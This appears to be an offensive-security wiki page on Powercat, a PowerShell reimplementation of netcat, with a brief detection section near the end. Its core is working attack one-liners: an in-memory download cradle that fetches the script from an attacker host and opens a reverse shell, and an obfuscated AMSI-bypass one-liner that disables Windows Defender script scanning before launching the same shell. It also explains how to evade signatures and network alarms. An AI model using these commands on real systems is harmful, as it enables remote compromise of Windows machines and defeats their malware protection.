Powercat

Powercat (besimorhino) is a PowerShell-native reimplementation of netcat: TCP/UDP clients, listeners, relays, payload transfer, DNS tunneling, and shell serving — all in a single .ps1 that can be pulled entirely into memory. Because it rides PowerShell rather than a dropped binary, it fits fileless post-exploitation workflows on Windows targets. On Kali Linux it’s packaged as sudo apt install powercat, landing at /usr/share/windows-resources/powercat/powercat.ps1.

Basic execution (download-and-cradle reverse shell)

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://$ATTACKER_IP:$ATTACKER_DOWNLOAD_PORT/powercat.ps1');powercat -c $ATTACKER_IP -p $ATTACKER_PORT -e cmd"

The IEX(DownloadString(...)) cradle keeps powercat off disk; -c/-p/-e mirror netcat’s client/exec flags. Hosting the script on your own server (rather than pulling from GitHub) avoids reputation-based network alarms on raw.githubusercontent.com.

One-liner reverse shell with AMSI bypass

A common operational pattern chains an AMSI bypass (hex-encoded reflection against AmsiUtils/amsiInitFailed) with the in-memory cradle, so Defender’s script scanning is neutered before powercat loads:

[REF].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char][convert]::toint16($_,16)}|forEach{$r=$r+$_};$r)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char][convert]::toint16($_,16)}|forEach{$r2=$r2+$_};$r2),'NonPublic,Static').SetValue($null,$true); IEX (New-Object System.Net.Webclient).DownloadString("https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1"); powercat -c $ATTACKER_IP -p $ATTACKER_PORT -e cmd.exe

The hex-split string reassembly exists because the plain AmsiUtils reflection one-liner is itself signatured — see signature evasion for the general technique family.

Beyond reverse shells

Per the upstream README, powercat also supports: -l listener mode, client-to-client and listener-to-listener relays (useful for pivoting through dual-homed hosts), file transfer (-i), UDP mode, DNS tunneling (-dns), and executing PowerShell script blocks on connection. An alternative maintained fork, secabstraction’s PowerCat, advertises interoperability with traditional netcat/ncat on the other end.

Detection

• PowerShell EID 4104 script-block logging captures the cradle and the module load (AMSI bypass text included — ironically making the bypass itself an IOC)
• Sysmon EID 3 — powershell.exe making outbound connections is anomalous on servers
• Static AV: powercat.ps1 from disk is signatured by essentially every vendor; memory-only delivery plus AMSI bypass is the standard counter

Sources

• besimorhino/powercat
• secabstraction/PowerCat
• Kali Linux — powercat package

Related: netcat, amsi-bypass, powershell-reverse-shell, csharp-av-bypass, shell-stabilization